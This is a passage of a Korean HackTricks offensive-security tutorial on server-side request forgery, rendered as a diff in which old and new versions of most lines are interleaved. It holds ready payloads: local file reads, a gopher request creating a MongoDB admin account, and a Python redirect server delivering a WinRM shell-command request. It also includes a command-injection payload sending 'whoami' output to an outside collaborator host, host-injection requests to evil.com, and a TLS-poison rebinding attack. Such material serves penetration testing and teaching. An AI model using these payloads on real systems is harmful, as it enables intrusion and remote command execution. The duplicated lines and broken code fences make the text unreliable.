* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>

View file

@ -3,22 +3,22 @@
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지의 AWS 해킹을 배우세요**!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 PR 제출하여 **해킹 트릭을 공유**하세요.
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**하여 **해킹 트릭을 공유**하세요.
</details>
@ -50,23 +50,23 @@ HackTricks를 지원하는 다른 방법:
### 오픈 리디렉트를 통한 우회
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 이용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 이용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 조작**할 수 있습니다.\
자세한 내용은 여기를 참조하세요: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## 프로토콜
* **file://**
* `file://` URL scheme`/etc/passwd`로 직접 가리킵니다: `file:///etc/passwd`
* URL scheme `file://``/etc/passwd`로 직접 가리킵니다: `file:///etc/passwd`
* **dict://**
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트의 잘못된 사용 사례가 제시되었습니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예시가 제공됩니다: `url=sftp://generic.com:11111/`
* **TFTP://**
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예시로 설명됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예시로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다룹니다. 로컬호스트의 LDAP 서버와 상호 작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다루며, 로컬호스트의 LDAP 서버와 상호 작용하는 방법을 강조합니다: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* SSRF 취약점을 용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함됩니다.
* SSRF 취약점을 용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함됩니다.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -75,16 +75,16 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
* **Curl URL globbing - WAF 우회**
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데, 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회**의 예제를 찾을 수 있습니다.
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있어 WAF 우회에 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회** 예제를 찾을 수 있습니다:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
* **Gopher://**
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하며, Gopherus 및 remote-method-guesser와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 용도가 설명됩니다:
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 논의하며, Gopherus 및 원격 메서드 추측기와 같은 툴을 사용하여 페이로드를 작성하는 방법에 대해 설명합니다. 두 가지 다른 용도가 설명됩니다:
### Gopher://
이 프로토콜을 사용하면 서버가 **보내도록 원하는 IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **어떤 TCP 서버와도 통신**할 수 있습니다 (다만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
이 프로토콜을 사용하면 서버가 **보내도록 원하는 IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다 (다만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
다행히도 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용하여 여러 서비스에 대한 페이로드를 생성할 수 있습니다. 또한 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스를 위한 _gopher_ 페이로드를 생성할 수 있습니다.
**Gopher smtp**
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 권한=관리자로 설정
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 permission=administrator으로 설정합니다.
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## Referrer 헤더 및 기타를 통한 SSRF
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 해당 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 활용하는 것이 좋습니다. 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 해당 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 활용하는 것이 권장되며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
## 인증서에서 SNI 데이터를 통한 SSRF
어떤 백엔드에도 연결할 수 있는 구성 오류는 다음과 같은 Nginx 구성 예제로 설명됩니다:
어떤 백엔드에도 연결을 가능하게 하는 잘못된 구성은 다음과 같은 Nginx 구성 예제로 설명됩니다:
```
stream {
server {
@ -151,13 +151,13 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wget 파일 업로드](../file-upload/#wget-file-upload-ssrf-trick)
## 명령 삽입과 함께 SSRF
## 명령 삽입과 함께 SSRF
다음과 같은 payload를 시도해볼 가치가 있습니다: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
다음과 같은 페이로드를 시도해볼 가치가 있습니다: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## PDF 렌더링
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성자(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성 중에 **실행될 JS를 삽입**할 수 있으며, PDF 생성기(서버)에서 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF에서 DoS로
@ -169,9 +169,9 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## Gopher로 SSRF 리디렉션
## Gopher로 SSRF 리디렉션
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (아마도 gopher와 같은 다른 프로토콜을 사용할 수 있음). 여기에 리디렉트 응답을 반환하는 다양한 파이썬 코드가 있습니다:
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (아마도 gopher와 같은 다른 프로토콜을 사용할 수 있음). 여기에서 리디렉트로 응답하는 다양한 파이썬 코드가 제공됩니다:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -181,7 +181,7 @@ class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
```markdown
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()
@ -206,14 +206,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 액세스하세요:
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## DNS Rebidding CORS/SOP bypass
## SSRF를 위한 잘못 구성된 프록시
만약 **CORS/SOP**로 인해 **로컬 IP에서 콘텐츠를 유출하는 데 문제**가 발생한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
[**이 게시물에서의**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 트릭.
### Flask
<details>
<summary>Flask 프록시 취약 코드</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
Flask는 **`@`**를 초기 문자로 사용할 수 있게 해줍니다. 이를 통해 **초기 호스트 이름을 사용자 이름**으로 만들고 새로운 것을 주입할 수 있습니다. 공격 요청:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
취약한 코드:
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
요청의 경로를 **`:`** 문자로 시작할 수 있어 **`@`**를 사용하여 새 호스트를 주입할 수 있는 것을 발견했습니다. 공격 요청:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP 내장 웹 서버 <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>취약한 PHP 코드</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHP는 URL 경로에서 슬래시 앞에 **char `*` 사용을 허용**하지만, 루트 경로 `/`에만 사용할 수 있으며, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없습니다. 따라서 예를 들어 점 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP 우회
만약 **CORS/SOP** 때문에 **로컬 IP에서 콘텐츠를 유출하는 데 문제가 발생**한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
@ -221,48 +293,48 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
### 자동화된 DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고 대상 기계의 취약한 소프트웨어를 악용하기 위해 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고, 취약한 소프트웨어를 이용하여 대상 기기에서 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
또한 [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)에서 **공개적으로 실행 중인 서버**를 확인하세요.
[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)의 **공개 서버**도 확인해보세요.
## DNS Rebidding + TLS Session ID/Session ticket
## DNS Rebidding + TLS 세션 ID/세션 티켓
요구 사항:
* **SSRF**
* **아웃바운드 TLS 세션**
* **외부 TLS 세션**
* **로컬 포트에 대한 정보**
공격:
1. 사용자/봇에게 **공격자가 제어하는 도메인에 액세스**하도록 요청합니다.
2. **DNS**의 **TTL**은 **0**초입니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에** 삽입합니다.
2. **DNS의 TTL**은 **0**초로 설정됩니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에 삽입**합니다.
4. **도메인**은 **자신에 대한 무한 리디렉션 루프**를 시작합니다. 이는 사용자/봇이 도메인에 다시 **DNS 요청**을 수행할 때까지 도메인에 액세스하도록 만드는 것입니다.
5. DNS 요청에 **지금은** **개인 IP** 주소가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (공격자의 페이로드가 포함된 곳). 축하합니다. 사용자/봇이 **자신에 대한 공격을 요청**하도록 성공했습니다.
5. DNS 요청에 **지금은 개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (여기에는 공격자의 페이로드가 포함되어 있음). 축하합니다, 사용자/봇이 **자신을 공격하도록 요청**했습니다.
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211 (포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
**이 공격을 수행하려면 다음 도구를 사용**하세요: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
이 공격이 설명된 토크를 확인하려면 **더 많은 정보**를 참조하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
**이 공격을 수행하려면 다음 도구를 사용**할 수 있습니다: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
이 공격에 대해 설명된 토크를 확인하려면 [여기](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)를 참조하세요.
## Blind SSRF
블라인드 SSRF와 비블라인드 SSRF의 차이점은 블라인드에서 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만 악용할 수 있기 때문에 악용이 더 어려울 수 있습니다.
블라인드 SSRF와 비블라인드 SSRF의 차이점은 블라인드에서 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 이용할 수 있기 때문에 더 어려울 수 있습니다.
### 시간 기반 SSRF
서버로부터의 응답 시간을 **확인**함으로써 **리소스의 존재 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
서버의 응답 시간을 확인함으로써 **리소스의 존재 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
## Cloud SSRF Exploitation
## 클라우드 SSRF 이용
클라우드 환경 내에서 실행 중인 기계에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
클라우드 환경 내에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## SSRF Vulnerable Platforms
## SSRF 취약한 플랫폼
여러 알려진 플랫폼에는 SSRF 취약점이 포함되어 있거나 포함되어 있었던 경우가 있습니다. 이를 확인하려면 다음을 참조하세요:
@ -270,11 +342,11 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Tools
## 도구
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
SSRF 취약점을 감지하고 용하는 도구
SSRF 취약점을 감지하고 용하는 도구
### [Gopherus](https://github.com/tarunkant/Gopherus)
@ -293,13 +365,13 @@ SSRF 취약점을 감지하고 악용하는 도구
* [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF에 취약한 HTTP 서버를 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버
SSRF Proxy는 Server-Side Request Forgery (SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
### 습하기
### 습하기
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
@ -308,25 +380,4 @@ SSRF에 취약한 HTTP 서버를 터널링하는 데 사용되는 멀티 스레
